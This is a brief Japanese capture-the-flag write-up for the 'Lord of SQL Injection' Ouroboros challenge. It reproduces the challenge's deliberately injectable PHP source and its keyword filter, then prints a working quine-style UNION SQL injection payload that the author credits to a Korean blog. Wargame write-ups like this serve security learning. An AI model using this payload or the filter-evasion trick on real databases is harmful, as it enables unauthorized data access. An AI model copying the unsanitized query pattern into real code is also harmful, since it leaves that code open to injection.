<?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|rollup|join|@/i', $_GET['pw'])) exit("No Hack ~_~"); $query = "select pw from prob_ouroboros where pw='{$_GET[pw]}'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['pw']) echo "<h2>Pw : {$result[pw]}</h2>"; if(($result['pw']) && ($result['pw'] === $_GET['pw'])) solve("ouroboros"); highlight_file(__FILE__);
特徴は以下。
- pwが入力可能
prob,_,.,rollup,join,@
がフィルタリング
- no=1のemail要素を抜き出す
とりあえず、いつものやつを入れてみる。
' or 1 #
だが、何も出てこない。何も入ってないみたいだ。
Quine SQL query
自分自身を作成するQuine SQL queryを作成しよ…ズルしてしまった。
- |Lord of SQL_injection| #30 Ouroboros :: 보안 한 걸음
' union SELECT REPLACE(REPLACE('" union SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine%23',CHAR(34),CHAR(39)),CHAR(36),'" union SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine%23') AS Quine%23
正直ちょっとでも応用されたら作れないと思う。